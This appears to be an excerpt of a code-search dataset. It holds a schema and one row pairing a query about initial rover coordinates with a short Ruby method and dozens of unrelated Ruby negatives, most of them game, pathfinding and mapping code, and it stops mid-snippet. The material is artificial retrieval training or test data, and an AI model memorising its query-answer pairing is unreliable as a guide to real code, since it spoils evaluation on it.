query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
sequencelengths
0
101
negative_scores
sequencelengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
calls a method that returns the correct set of initial coordinates for rovers
def rovers_position @input.values_at(* @input.each_index.select {|i| i.odd?}) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_start_coordinates\n start_coord = []\n until start_coord_valid?(start_coord)\n puts \"START COORDINATES\"\n start_coord = @current_player.get_user_input\n start_coord = [] if [\"reset\", \"save\", []].include?(do_special_input_stuff(start_coord)) #hackhackhack\n end\n print_board(start_coord)\n puts \"Move #{@board[start_coord[0]][start_coord[1]].class.to_s.upcase} where?\"\n return start_coord\n end", "def landing_rovers(rovers)\n rovers.each do |rover|\n @rovers << Rover.new(rover.split(\" \")[0].to_i, rover.split(\" \")[1].to_i, rover.split(\" \")[2].upcase)\n end\n @map.rovers_initial_position(@rovers)\n end", "def set_starting_position\n start_rows = find_possible_centers(@matrix.length)\n start_columns = find_possible_centers(@matrix[0].length)\n determine_center_position(start_rows, start_columns)\nend", "def update_player_route\n @passed_positions ||= []\n @starting_position = [@selected_unit.x, @selected_unit.y]\n ### The cursor was located outside of the highlighted tiles\n if @outside_of_range\n @outside_of_range = false\n # The cursor moves back into the range, and over a spot where arrow was drawn\n result = false\n @passed_positions.each_index{|index|\n path = @passed_positions[index]\n if [path.x,path.y] == [cursor.x,cursor.y]\n result = index\n break\n end\n }\n # It found the spot where the arrow was drawn\n if result\n @passed_positions = @passed_positions[0, result+1]\n # If moved back into range and over the unit's location\n elsif [cursor.x,cursor.y] == [@selected_unit.x, @selected_unit.y]\n @passed_positions = []\n # If the cursor moves back into range but not where an arrow was drawn\n elsif @positions[cursor.x][cursor.y].is_a?(MoveTile)\n # See if can extend current path to here\n added_path = extend_path(@selected_unit, @passed_positions, [cursor.x,cursor.y])\n # If possible to extend path, do so\n if added_path != false\n @passed_positions += added_path\n else \n # Generate new path\n @passed_positions = find_path(@positions, \n @positions[@selected_unit.x][@selected_unit.y],\n @positions[cursor.x][cursor.y])\n end\n # Did not move back in range; still outside \n else\n @outside_of_range = true\n end\n \n \n else\n ### If position player moves over was already passed over\n result = false\n @passed_positions.each_index{|index|\n path = @passed_positions[index]\n if [path.x,path.y] == [cursor.x,cursor.y]\n result = index\n break\n end\n }\n if result\n @passed_positions = @passed_positions[0, result+1]\n ### If position is outside of available positions...\n elsif !@positions[cursor.x][cursor.y].is_a?(MoveTile)\n # Activate switch to tell game player is out of move range\n @outside_of_range = true\n ### If the cursor is anywhere in the range EXCEPT on the selected unit\n elsif [cursor.x,cursor.y] != [@selected_unit.x, @selected_unit.y]\n # See if can extend current path to here\n added_path = extend_path(@selected_unit, @passed_positions, [cursor.x,cursor.y])\n # If possible to extend path, do so\n if added_path != false\n @passed_positions += added_path\n else \n # Generate new path\n @passed_positions = find_path(@positions, \n @positions[@selected_unit.x][@selected_unit.y],\n @positions[cursor.x][cursor.y])\n end\n ### Else player is back to the unit's position\n else\n # Reset all stored values (starting fresh)\n @passed_positions = []\n end\n end\n draw_route unless @outside_of_range\n end", "def initialize\n @locations = []\n l00 = Location.new\n l00.coordinates.insert(0, 0, 0)\n l03 = Location.new\n l03.coordinates.insert(0, 0, 3)\n l06 = Location.new\n l06.coordinates.insert(0, 0, 6)\n l11 = Location.new\n l11.coordinates.insert(0, 1, 1)\n l13 = Location.new\n l13.coordinates.insert(0, 1, 3)\n l15 = Location.new\n l15.coordinates.insert(0, 1, 5)\n l22 = Location.new\n l22.coordinates.insert(0, 2, 2)\n l23 = Location.new\n l23.coordinates.insert(0, 2, 3)\n l24 = Location.new\n l24.coordinates.insert(0, 2, 4)\n l30 = Location.new\n l30.coordinates.insert(0, 3, 0)\n l31 = Location.new\n l31.coordinates.insert(0, 3, 1)\n l32 = Location.new\n l32.coordinates.insert(0, 3, 2)\n l34 = Location.new\n l34.coordinates.insert(0, 3, 4)\n l35 = Location.new\n l35.coordinates.insert(0, 3, 5)\n l36 = Location.new\n l36.coordinates.insert(0, 3, 6)\n l42 = Location.new\n l42.coordinates.insert(0, 4, 2)\n l43 = Location.new\n l43.coordinates.insert(0, 4, 3)\n l44 = Location.new\n l44.coordinates.insert(0, 4, 4)\n l51 = Location.new\n l51.coordinates.insert(0, 5, 1)\n l53 = Location.new\n l53.coordinates.insert(0, 5, 3)\n l55 = Location.new\n l55.coordinates.insert(0, 5, 5)\n l60 = Location.new\n l60.coordinates.insert(0, 6, 0)\n l63 = Location.new\n l63.coordinates.insert(0, 6, 3)\n l66 = Location.new\n l66.coordinates.insert(0, 6, 6)\n @locations.push([l00, nil, nil, l03, nil, nil, l06])\n @locations.push([nil, l11, nil, l13, nil, l15, nil])\n @locations.push([nil, nil, l22, l23, l24, nil, nil])\n @locations.push([l30, l31, l32, nil, l34, l35, l36])\n @locations.push([nil, nil, l42, l43, l44, nil, nil])\n @locations.push([nil, l51, nil, l53, nil, l55, nil])\n @locations.push([l60, nil, nil, l63, nil, nil, l66])\n end", "def create_starting_positions\n\t\t[Point.new(BOARD_WIDTH/4, BOARD_HEIGHT/4),\n \t\tPoint.new(3 * BOARD_WIDTH/4, 3 * BOARD_HEIGHT/4),\n\t\tPoint.new(3 * BOARD_WIDTH/4, BOARD_HEIGHT/4),\n\t\tPoint.new(BOARD_WIDTH/4, 3 * BOARD_HEIGHT/4)]\n\tend", "def recalculate_coordinates_for_sphere\n if rover.position[0] >= grid.x || rover.position[0] < 0\n rover.position[0] = (rover.position[0] % grid.x).abs\n end\n if rover.position[1] >= grid.y || rover.position[1] < 0\n rover.position[1] = (rover.position[1] % grid.y).abs\n end\n end", "def populate\n self.start_coordinate_x = rand(11)\n self.start_coordinate_y = rand(11)\n if ship_position == 'vertical'\n self.end_coordinate_x = self.start_coordinate_x\n self.end_coordinate_y = (self.start_coordinate_y + SHIP_SIZE) > MAX_SIZE_BOARD ? (self.start_coordinate_y - SHIP_SIZE) : (self.start_coordinate_y + SHIP_SIZE)\n else\n self.end_coordinate_y = self.start_coordinate_y\n self.end_coordinate_x = (self.start_coordinate_x + SHIP_SIZE) > MAX_SIZE_BOARD ? (self.start_coordinate_x - SHIP_SIZE) : (self.start_coordinate_x + SHIP_SIZE)\n end\n end", "def construct_coordinates\n construct_latitude\n construct_longitude\n end", "def _get_square_starting_points()\n square_starting_points = []\n row_index = 0\n column_index = 0\n 3.times do\n 3.times do\n square_starting_points << [row_index, column_index]\n column_index += 3\n end\n row_index += 3\n column_index = 0\n end\n square_starting_points\n end", "def get_new_coordinates(choice)\n selected_move = moveset[possible_moves[choice]]\n return x + selected_move[0], y + selected_move[1]\n end", "def initpos_1\n return [0,0]\n end", "def start_coords\n marker_coords('S')\n end", "def update_player_route\n #@passed_positions = []\n ### The cursor was located outside of the highlighted tiles\n if @outside_of_range\n @outside_of_range = false\n # The cursor moves back into the range, and over a spot where arrow was drawn\n result = false\n @passed_positions.each_index{|index|\n path = @passed_positions[index]\n if [path.x,path.y] == [cursor.x,cursor.y]\n result = index\n break\n end\n }\n # It found the spot where the arrow was drawn\n if result\n @passed_positions = @passed_positions[0, result+1]\n # If moved back into range and over the unit's location\n elsif [cursor.x,cursor.y] == [@unit.x, @unit.y]\n @passed_positions = []\n # If the cursor moves back into range but not where an arrow was drawn\n elsif @positions[cursor.x][cursor.y].is_a?(MoveTile)\n # See if can extend current path to here\n added_path = extend_path(@unit, @passed_positions, [cursor.x,cursor.y])\n # If possible to extend path, do so\n if added_path != false\n @passed_positions += added_path\n else \n # Generate new path\n @passed_positions = find_path(@positions, \n @positions[@unit.x][@unit.y],\n @positions[cursor.x][cursor.y])\n end\n # Did not move back in range; still outside \n else\n @outside_of_range = true\n end\n \n \n else\n ### If position player moves over was already passed over\n result = false\n @passed_positions.each_index{|index|\n path = @passed_positions[index]\n if [path.x,path.y] == [cursor.x,cursor.y]\n result = index\n break\n end\n }\n if result\n @passed_positions = @passed_positions[0, result+1]\n ### If position is outside of available positions...\n elsif !@positions[cursor.x][cursor.y].is_a?(MoveTile)\n # Activate switch to tell game player is out of move range\n @outside_of_range = true\n ### If the cursor is anywhere in the range EXCEPT on the selected unit\n elsif [cursor.x,cursor.y] != [@unit.x, @unit.y]\n # See if can extend current path to here\n added_path = extend_path(@unit, @passed_positions, [cursor.x,cursor.y])\n # If possible to extend path, do so\n if added_path != false\n @passed_positions += added_path\n else \n # Generate new path\n @passed_positions = find_path(@positions, \n @positions[@unit.x][@unit.y],\n @positions[cursor.x][cursor.y])\n end\n ### Else player is back to the unit's position\n else\n # Reset all stored values (starting fresh)\n @passed_positions = []\n end\n end\n draw_route unless @outside_of_range\n end", "def collect_coords\n if $new_game.lives == 0\n self.game_over\n elsif $new_game.targets == 0\n self.win\n else\n $new_game.print_grid\n self.info\n row = \"z\"\n while $abc.index(row) == nil\n puts \"Enter row coordinate (A - J):\"\n row = gets.chomp.downcase.to_s\n row_num = $abc.index(row)\n end\n col = \"\"\n while (\"0\"..\"9\").to_a.index(col) == nil\n puts \"Enter column coordinate (0 - 9):\"\n col = gets.chomp\n end\n self.check_coords([row_num,col.to_i])\n end\n end", "def robot_paths(x, y, map={})\n if x == 0 && y == 0\n 0\n elsif (x == 0 && y >= 0) || (x >= 0 && y == 0)\n 1\n elsif map[x] && map[x][y]\n map[x][y]\n else\n result = robot_paths(x - 1, y, map) + robot_paths(x, y - 1, map)\n map[x] ? map[x][y] = result : map[x] = {y => result}\n map[x][y]\n end\nend", "def set_coordinates\n [rand(-100..100), rand(-100..100)]\n end", "def generate_successors\n @successors =\n [Move.new(x + 2, y + 1, self)] +\n [Move.new(x + 2, y - 1, self)] +\n [Move.new(x - 2, y + 1, self)] +\n [Move.new(x - 2, y - 1, self)] +\n [Move.new(x + 1, y + 2, self)] +\n [Move.new(x + 1, y - 2, self)] +\n [Move.new(x - 1, y + 2, self)] +\n [Move.new(x - 1, y - 2, self)]\n successors_copy = []\n @successors.each do |successor|\n successors_copy += [successor] if (0..7) === successor.x && (0..7) === successor.y\n end\n @successors = successors_copy\n end", "def get_start(processed_maze)\n # start_horizontal; start_vertical = nil\n processed_maze.each_with_index do |row, vertical_index|\n row.each_with_index do |item, horizontal_index|\n if item == 'o'\n @start_vertical = vertical_index\n @start_horizontal = horizontal_index\n end\n end\n end\n end", "def initial_placement\n rover_bay.each do |r|\n if pass_initial_placement_check?(r)\n place_rover(r)\n else\n raise \"There is a collision\\nin placement #{r.coordinate.inspect}\"\n end\n end\n end", "def initial_state(soldiers)\n {\n soldiers: soldiers,\n positions: initial_positions(soldiers),\n clock: 0\n }\nend", "def calculate_route\n\t\t@cl = init_loc\n\t\t@steps << cl\n\n\t\twhile not at_rightmost_side?\n\t\t\t@cl = next_step\n\t\t\t@steps << cl\n\t\tend \t\t\n\tend", "def test_all\n coords = all_combos\n coords.each do |c|\n find_route(c[0], c[1])\n end\nend", "def initpos_2\n return [0,0]\n end", "def walk(grid, x, y)\n [N, S, E, W].shuffle.each do |dir|\n nx, ny = x + DX[dir], y + DY[dir]\n if nx >= 0 && ny >= 0 && ny < grid.length && nx < grid[ny].length && grid[ny][nx] == 0\n grid[y][x] |= dir\n grid[ny][nx] |= OPPOSITE[dir]\n \n return [nx, ny]\n end\n end\n \n nil\nend", "def initialize_position\n done = false\n pos = {:facing => Game::FACINGS[rand(4)]}\n while not done do\n start_at = rand(board_size * board_size)\n start_at = [start_at / board_size, start_at % board_size]\n done = players(:x_pos => start_at[0], :y_pos => start_at[1]).empty?\n end\n pos[:x] = start_at[0]\n pos[:y] = start_at[1]\n pos\n end", "def populate_orig_coordinates\n\t\tself.lat_orig = read_attribute(:lat)\n\t\tself.lon_orig = read_attribute(:lon)\n\tend", "def location_changed!\n east = location.east_units\n west = location.west_units\n\n north = location.north_units\n south = location.south_units\n\n # NOTE: expectation is 1 of the paired directions will be zero.\n calculate_location_opposite east: east, west: west, north: north, south: south\n calculate_location_right east: east, west: west, north: north, south: south\n calculate_location_left\n end", "def fetch_coordinates!\n fetch_coordinates(true)\n end", "def new_game\n my_board = EdenPlayer.new_board\n ships = [5, 4, 3, 3, 2]\n probs = positional_probabilities my_board\n ship_pos = ships.map do |ship|\n laid = nil\n until laid\n rand_branch = rand(999) % 3\n # 1/3rd of the time, don't lay the ship in lowest probability spot\n # near edge, this gives a grouping formation that gives a few ships\n # a great area that they may be found in\n pos = rand(999) % 3 == 1 ? [rand(10), rand(10)] : draw_next_min(probs)\n laid = lay_ship({ship_length: ship, board: my_board, pos: pos})\n end\n laid\n end\n end", "def coords; {:x => @x, :y => @y} end", "def all_moves_array(initial_x, initial_y)\n\t\tfinal = []\n\t\tx = initial_x + 2\n\t\tfinal << [x, initial_y+1] << [x, initial_y-1]\n\t\tx = initial_x - 2\n\t\tfinal << [x, initial_y+1] << [x, initial_y-1]\n\t\ty = initial_y + 2\n\t\tfinal << [initial_x+1, y] << [initial_x-1, y]\n\t\ty = initial_y - 2\n\t\tfinal << [initial_x+1, y] << [initial_x-1, y]\n\t\tfinal\n\tend", "def corners\n\t\tCORNERS.shuffle!\n\tend", "def get_route(start_arr, end_arr)\n root = Position.new(start_arr[0], start_arr[1])\n target = Position.new(end_arr[0], end_arr[1])\n solution = get_target_value(target, root)\n\n route = []\n route.unshift([target.x, target.y])\n location = solution.parent\n until location == nil\n route.unshift [location.x, location.y]\n location = location.parent\n end\n return route\nend", "def get_coordinates\n if self.country_status == 'closed'\n self.latitude = nil\n self.longitude = nil\n else\n q = self.city || ''\n q += ','+self.state if self.state\n q += ','+self.country\n begin\n self.latitude, self.longitude = Geocoder.coordinates(q)\n # We need to make sure that that no 2 projects have exactly the same\n # coordinates. If they do, they will overlap on the flash map and\n # you won't be able to click on one of them.\n while SpProject.where(['latitude = ? and longitude = ?', self.latitude, self.longitude]).first\n delta_longitude, delta_latitude = 0,0\n delta_longitude = rand(6) - 3 while delta_longitude.abs < 2\n delta_latitude = rand(6) - 3 while delta_latitude.abs < 2\n # move it over a little.\n self.longitude += delta_longitude.to_f/10\n self.latitude += delta_latitude.to_f/10\n end\n rescue => e\n Airbrake.notify_or_ignore(e, :parameters => attributes)\n end\n end\n true\n end", "def assignClosest(parr)\n self.dims[0].times do |i|\n self.dims[1].times do |j|\n distances = Array.new\n parr.each do |point|\n distances << point.distance(i, j)\n end\n mins = distances.min(2)\n if mins[0] == mins[1]\n @grid[i][j] = -1\n else\n @grid[i][j] = distances.index(mins[0])\n end\n end\n end\n end", "def possible_moves(from)\r\n\tpositions = []\r\n\tpair = { 1 => [2, -2], 2 => [1, -1] }\r\n row_change = [-2, -1, 1, 2]\r\n row_change.each do |change|\r\n \tpositions << add_positions(from, [change, pair[change.abs][0]])\r\n \tpositions << add_positions(from, [change, pair[change.abs][1]])\r\n end\r\n\tpositions\r\nend", "def test_can_start_game\n battleship = Battleship.new\n battleship.input_player_coordinates(\"A1 A2\", 1)\n assert_equal ({ \"A1\" => \"H\", \"A2\"=>\"H\", \"A3\"=>\"-\", \"A4\"=> \"-\",\n \"B1\" => \"-\", \"B2\"=>\"-\", \"B3\"=>\"-\", \"B4\"=> \"-\",\n \"C1\" => \"-\", \"C2\"=>\"-\", \"C3\"=>\"-\", \"C4\"=> \"-\",\n \"D1\" => \"-\", \"D2\"=>\"-\", \"D3\"=>\"-\", \"D4\"=> \"-\"}),\n battleship.player_grid\n\n battleship.input_player_coordinates(\"D2 D3 D4\", 2)\n assert_equal ({ \"A1\" => \"H\", \"A2\"=>\"H\", \"A3\"=>\"-\", \"A4\"=> \"-\",\n \"B1\" => \"-\", \"B2\"=>\"-\", \"B3\"=>\"-\", \"B4\"=> \"-\",\n \"C1\" => \"-\", \"C2\"=>\"-\", \"C3\"=>\"-\", \"C4\"=> \"-\",\n \"D1\" => \"-\", \"D2\"=>\"H\", \"D3\"=>\"H\", \"D4\"=> \"H\"}),\n battleship.player_grid\n end", "def cal_pos\n x, y = map_location(@grid_x, @grid_y)\n x += @tile_size/2\n y += @tile_size/2\n [x,y]\n end", "def possible_neighbors(y,x)\n # (-1..1).to_a.map do |row_offset|\n # (-1..1).to_a.map do |col_offset|\n # return y - row_offset, x - col_offset\n # end\n # end\n up = y-1\n down = y + 1\n my_row = y\n left = x - 1\n right = x + 1\n my_column = x\n\n [\n [my_row,x-1],[y,x+1], # sides\n [up,x-1], [y-1,x], [y-1,x+1], # top\n [down,x-1], [y+1,x], [y+1,x+1] # bottom\n ]\n end", "def carve_walls_from_point(x, y, grid)\n \nend", "def coordinates\n [rand(50), rand(90)]\n end", "def positions(passes) = passes.map { find_position(_1) }", "def pos\n\t\tif not moved_to.nil? and moved?\n\t\t\tsquare.neighbor( moved_to )\n\t\telse\n\t\t\tsquare\n\t\tend\n\tend", "def home\n @coordinates = Coordinate.where(\"user_id=?\",current_user.id)\n if @coordinates.empty?\n @centerLatitude = 6.199733\n @centerLongitude = -75.578686\n else\n @centerLatitude = @coordinates.last.latitude\n @centerLongitude = @coordinates.last.longitude\n end\n end", "def get_moves(start)\n x = start.x\n y = start.y\n moves = []\n moves << Node.new(x+2, y+1)\n moves << Node.new(x+2, y-1)\n moves << Node.new(x+1, y+2)\n moves << Node.new(x+1, y-2)\n moves << Node.new(x-1, y+2)\n moves << Node.new(x-1, y-2)\n moves << Node.new(x-2, y+1)\n moves << Node.new(x-2, y-1)\n moves = moves.reject do |node|\n node.x < 0 || node.x > 8\n end\n moves = moves.reject do |node|\n node.y < 0 || node.y > 8\n end\n moves.each { |move| move.next_node = start }\nend", "def track_route root_coords, target_coords\n root = Square.new(root_coords[0], root_coords[1])\n target = Square.new(target_coords[0], target_coords[1])\n result = search(root, target)\n\n # initializes route array with target square's coordinates\n route = []\n route << [result.x, result.y]\n \n # backtraces through parents of search items, tracking their coordinates along the way\n current = result.parent\n until current.nil?\n route << [current.x, current.y]\n current = current.parent\n end\n # reverse route to put in 'playing' order for knight moves\n route.reverse!\n\n puts \"You made it in #{route.length - 1} moves! Here is your route:\"\n route.each { |square| p square}\n return nil\nend", "def infer_coordinates_from_notation\n\n #expand the castling notation\n if self[:notation].include?('O-O')\n new_notation = 'K' + (self[:notation].include?('O-O-O') ? 'c' : 'g')\n new_notation += (match.next_to_move == :white) ? '1' : '8'\n self[:notation] = new_notation\n end\n\n self[:to_coord] = notation.to_s[-2,2]\n function = NOTATION_TO_FUNCTION_MAP[ notation[0,1] ] || :pawn\n @possible_movers = board.select do |pos, piece| \n piece.side == match.next_to_move && \n piece.function == function && \n piece.allowed_moves(board).include?( self[:to_coord].to_sym )\n end\n\n self[:from_coord] = @possible_movers[0][0] and return if @possible_movers.length == 1\n disambiguator = notation[-3,1]\n matcher = (disambiguator =~ /[1-8]/) ? Regexp.new( \"^.#{disambiguator}$\" ) : Regexp.new( \"^#{disambiguator}.$\" )\n movers = @possible_movers.select { |pos, piece| matcher.match(pos) }\n\n self[:from_coord] = movers[0][0] and return if movers.length == 1\n\n end", "def assign_lon_lat_locator_fields\n box = getBoxForCoordinates( view_path_coordinates[\"LonLat\"] )\n self.nw_lon= box[0][0]\n self.nw_lat= box[0][1]\n self.se_lon= box[1][0]\n self.se_lat= box[1][1]\n end", "def get_ship_coords_from_player\n @fleet.each do |ship|\n until ship.valid_coords == true #ship knows if its coords are valid\n orientation = @board.get_player_orientation(ship)\n @board.get_player_coords(orientation, ship, @fleet)\n end\n @board.save_ship_to_board(ship)\n end\n end", "def midtown_primary_roads\n midtown_north = 40.764104432913086\n midtown_east = -73.97675156593323\n midtown_south = 40.75897668730365\n midtown_west = -73.98523807525635\n OverpassGraph.get_roads(midtown_north, midtown_east, midtown_south, midtown_west, ['primary'], [])\nend", "def moves\n # All pieces can stay in place\n [[0,0]]\n end", "def solve(minemap, miner, stop)\n target = stop.values\n path = explore([miner.values], minemap, miner['x'], miner['y'], target)\n moves = (1...path.length).each_with_object([]) do |idx , obj|\n obj << case path[idx][0] - path[idx - 1][0]\n when 1 then 'right'\n when -1 then 'left'\n when 0 then case path[idx][1] - path[idx - 1][1]\n when 1 then 'down'\n when -1 then 'up'\n end\n end\n end\nend", "def midtown_roads\n midtown_north = 40.764104432913086\n midtown_east = -73.97675156593323\n midtown_south = 40.75897668730365\n midtown_west = -73.98523807525635\n OverpassGraph.get_roads(midtown_north, midtown_east, midtown_south, midtown_west, [], [])\nend", "def initialize(root_node=[0,0])\n @root_node = PolyTreeNode.new(root_node)\n @considered_pos = [@root_node.value]\n self.build_move_tree # goes here?\n end", "def neighbor_coords\r\n coordinates = [\r\n up,\r\n down,\r\n right, \r\n left,\r\n # Diagonals\r\n # Move.new(up).right,\r\n # Move.new(up).left,\r\n # Move.new(down).right,\r\n # Move.new(down).left\r\n up_right,\r\n up_left,\r\n down_right,\r\n down_left\r\n ]\r\n\r\n coordinates.compact\r\n end", "def initial_mineral_spots\n starcraft.units.minerals.select do |u|\n u.distance_to(player.command_centers.first) < 9.build_tiles\n end\n end", "def possible_moves(from)\n\tpositions = []\n\tpair = { 1 => [2, -2], 2 => [1, -1] }\n row_change = [-2, -1, 1, 2]\n row_change.each do |change|\n \tpositions << add_positions(from, [change, pair[change.abs][0]])\n \tpositions << add_positions(from, [change, pair[change.abs][1]])\n end\n\tpositions\nend", "def init_oripost\n @ori_x = original_x\n @ori_y = original_y\n end", "def attacking_coordinates(piece_type = 'Queen')\n attacking_pairs(piece_type).map { |pair| pair.map(&:coordinates) }\n end", "def calculate_auto_center\n min_lat, min_lng, max_lat, max_lng = self.calculate_auto_bounds\n \n return [ (max_lat + min_lat) / 2, (max_lng + min_lng) / 2 ]\n end", "def get_moves\n reset_moves\n jump_moves\n base_moves if @valid_moves.empty?\n end", "def find_start_states_without_canonicalization\n states = []\n lose_state.random_successors.each do |one_tile_state|\n one_tile_state.random_successors.each do |two_tile_state|\n states << two_tile_state\n end\n end\n states\n end", "def compute_position\n # The negative and the ninety are the fudge to compensate for our map.\n lat = @latitude_radians = radians(-@latitude)\n long = @longitude_radians = radians(@longitude + 90)\n radius = $app.globe.diameter / 2.0 - 23\n @x = radius * cos(lat) * sin(long)\n @y = radius * sin(lat)\n @z = radius * cos(lat) * cos(long)\n end", "def create_walking_sample_points\n stops_by_stop_id = index_stops_by(:stop_id)\n all_stops = stops_by_stop_id.values\n\n \n #compute a box bounding the stations\n nw, se = compute_bounds(stops_by_stop_id.values)\n \n #determine the width of the bounding box, and the degrees per mile factor\n box_width_degrees = (se.last - nw.last).abs\n box_width_miles = haversine_distance(se.first,nw.last,se.first,se.last)\n east_west_degrees_per_mile = box_width_degrees / box_width_miles\n \n #determine the height of the bounding box and the degrees per mile factor\n box_height_degrees = (se.first - nw.first).abs\n box_height_miles = haversine_distance(se.first,nw.last,nw.first,nw.last)\n north_south_degrees_per_mile = box_height_degrees / box_height_miles\n\n\n # pad the box to account for walking connections past the station bounds \n width_degrees = box_width_degrees + 2 * BOX_PADDING_MILES * east_west_degrees_per_mile\n width_miles = box_width_miles + 2 * BOX_PADDING_MILES\n\n height_degrees = box_height_degrees + 2 * BOX_PADDING_MILES * north_south_degrees_per_mile\n height_miles = box_height_miles + 2 * BOX_PADDING_MILES\n\n x_points = (width_miles * WALKING_POINTS_PER_MILE).ceil\n y_points = (height_miles * WALKING_POINTS_PER_MILE).ceil\n\n puts \"will create walking sample point grid #{x_points} wide * #{y_points} tall\"\n \n x_increment = width_degrees/x_points\n y_increment = height_degrees/y_points\n \n walking_parent = get_walking_sample_list_node\n walk_rel_type = Neo4jr::RelationshipType.instance(:walking)\n\n starting_lat = nw.first + BOX_PADDING_MILES * north_south_degrees_per_mile\n lon = nw.last - BOX_PADDING_MILES * east_west_degrees_per_mile\n \n # lay down the grid, creating only the points within MAX_WALK_MILES of the station\n x_points.times do |x_idx|\n lat = starting_lat\n y_points.times do |y_idx|\n current_node = nil\n get_all_stops.to_a.each do |stop|\n #TODO - use a geometric index to find stations that have a reasonable likelihood of being close enough\n distance = haversine_distance(lat,lon,stop['lat'],stop['lon'])\n if distance < MAX_WALK_MILES\n if current_node.nil?\n current_node = db.createNode\n current_node['type'] = 'WalkingPoint'\n current_node['lat'] = lat\n current_node['lon'] = lon\n walking_parent.createRelationshipTo(current_node, Neo4jr::RelationshipType.instance(:walking_points))\n end\n rel = stop.createRelationshipTo(current_node,walk_rel_type)\n rel['distance'] = distance\n rel['cost'] = distance/WALKING_SPEED_MPH * 60.0\n puts \"creating walking link of length #{distance}, time #{rel['cost']} to station #{stop['stop_id']}\" \n end\n end\n lat -= y_increment\n end\n lon += x_increment\n end\n\nend", "def build_move_tree # Node[0,0]\n @root_node = PolyTreeNode.new(@start_pos)\n tree = [@root_node] #after first round tree = []\n while !tree.empty?\n #after line 39 => tree => [N(v(2,1)), N(v(1,2))]\n res = tree.shift #tree = [] # res => TreeNode with the value of [2,1]\n positions = new_move_positions(res.value) # positions => [[0,2],[1,3], [3,3], [4,2], [5,0]]\n #tree => [N(v(1,2))]\n positions.each do |n| # n=> [2,1]\n nd = PolyTreeNode.new(n) # nd=> Node with with the value of [2,1]\n res.add_child(nd)\n tree << nd\n end # tree => [N(v(1,2)),N [0,2],[1,3], [3,3], [4,2], [5,0]]\n end\n end", "def island; end", "def initialize\n @start_vertical = nil\n @start_horizontal = nil\n @processed_maze = nil\n end", "def start_point\n o = st_start_point\n [o.y, o.x]\n end", "def relative_locations\n relative_location_strategy.collect { |loc| loc.piecewise(self.position, :+) }\n end", "def legal_moves\n # Fill this in\n end", "def initial_pos_boxes\n return BOX_X_RIGHT, BOX_Y\n end", "def start_states\n empty_state = State.new([0] * @board_size**2)\n states = SortedSet.new\n empty_state.random_successors.each do |one_tile_state|\n one_tile_state.random_successors.each do |two_tile_state|\n states << two_tile_state.canonicalize\n end\n end\n states.to_a\n end", "def calculate_location_left\n self.location_left = {}\n if location_right.key? :east\n location_left[:west] = location_right[:east]\n else\n location_left[:east] = location_right[:west]\n end\n\n if location_right.key? :north\n location_left[:south] = location_right[:north]\n else\n location_left[:north] = location_right[:south]\n end\n end", "def new_coordinates\n # Last user X & Y coordinates\n lastX = @last_user.x\n lastY = @last_user.y\n\n # New coordinates generator\n if (lastX - 1 > lastY)\n newX = lastX\n newY = lastY + 1\n @new_coordinates = [newX, newY]\n elsif (lastX <= lastY - 1)\n newY = lastY\n newX = lastX + 1\n @new_coordinates = [newX, newY]\n elsif (lastX - 1 === lastY)\n newX = 1\n newY = lastX\n @new_coordinates = [newX, newY]\n elsif (lastX === lastY)\n newX = lastX + 1\n newY = 1\n @new_coordinates = [newX, newY]\n end\n plotX = @new_coordinates[0]\n plotY = @new_coordinates[1]\n\n # Get the newly created user, add and save new coordinates\n new_user = current_user\n new_user.x = plotX\n new_user.y = plotY\n new_user.save\n\n # Create initial plot for the new user\n new_plot = new_user.plots.new\n new_plot.active_plot = true\n new_plot.save\n end", "def initialize (starting_pos)\n # @starting_pos = starting_pos\n @root_node = PolyTreeNode.new(starting_pos)\n # kpf = KnightPathFinder.new([0, 0])\n @used_pos = [starting_pos]\n end", "def points; end", "def getPossibleFrom move\n possibleFrom = []\n move.board.pieces[move.piece.colour][move.piece.class.to_s.to_sym].each do |coord, piece|\n possibleFrom << coord\n end\n possibleFrom\n end", "def build_location(building)\n #stom spiral algoritme ofzo\n center = player.command_centers.first\n #spiral_location(building, {:x => center.tile_position_x,\n # :y => center.tile_position_y})\n {:x => center.x.in_build_tiles, :y => center.y.in_build_tiles - 3}\n end", "def cardinal_paths(direction)\n off_gen = CardinalOffsetGenerator.new(coordinates, direction)\n off_gen.moves\n end", "def moving\n\t\tget_rand(2)\n\t\tcase @location\n\t\twhen \"Cathedral\"\n\t\t\tfrom_cathy()\n\t\twhen \"Hospital\"\n\t\t\tfrom_hospital()\n\t\twhen \"Hillman\"\n\t\t\tfrom_hillman()\n\t\twhen \"Museum\"\n\t\t\tfrom_museum()\n\t\tend\n\tend", "def startpos(nr)\n case @art\n when 0:\n case nr\n when 0:\n return @x/4,@y/2,0\n when 1:\n return 3*@x/4,@y/2,2\n when 2:\n return @x/2,@y/4,1\n when 3:\n return @x/2,3*@y/4,3\n else\n raise \"Für dieses Feld sind nur 4 Positionen definiert!\"\n end\n else\n raise \"Art #{art} ist noch nicht definiert!\"\n end\n end", "def get_path(start, finish) \n @retreat_algorithm.set_graph(memory.construct_grid) \n @retreat_algorithm.run(start, finish)\n end", "def solve(minemap, miner, exit, answer = [])\n# this block sets variables for dimension max indexes\n# declares variables for the current miner position\n# declares variables for the exit position\n# I did this for easier manipulation of the values\n# than referring to and changing a hash constantly\n# it also sets up an array possible values the map\n# can take on, with the direction a miner should travel\n# replacing true, which signals to the miner that he\n# should not return to that position (probably not necessary\n# because false would work just as well unless two branches\n# are both valid, but right, left, up, down could probably\n# be eliminated\n\n x_max = minemap.size - 1\n y_max = minemap[0].size - 1\n x = miner['x']\n y = miner['y']\n ex = exit['x']\n ey = exit['y']\n walls = %w(right left up down branch)\n walls.push(false)\n\n# copying the map so it can be manipulated (again, probably\n# not necessary and, even if it is, my copy_array should be\n# expanded to multi dimensional arrays)\n\n copy = Array.new(x_max+1){Array.new(y_max+1)}\n (0..x_max).each do |x|\n (0..y_max).each do |y|\n copy[x][y] = minemap[x][y]\n end\n end\n\n# loops while not at exit\n\n while x != ex || y != ey\n\n# sets a boolean array to 4 trues, then checks\n# each possible move to false if unavailable\n\n rlud = [true, true, true, true]\n rlud[0] = false if x == x_max || walls.include?(copy[x+1][y])\n rlud[1] = false if x == 0 || walls.include?(copy[x-1][y])\n rlud[2] = false if y == 0 || walls.include?(copy[x][y-1])\n rlud[3] = false if y == y_max || walls.include?(copy[x][y+1])\n\n# if there is nowhere to turn, the answer array is set to an array \n# of size equal to thenumber of 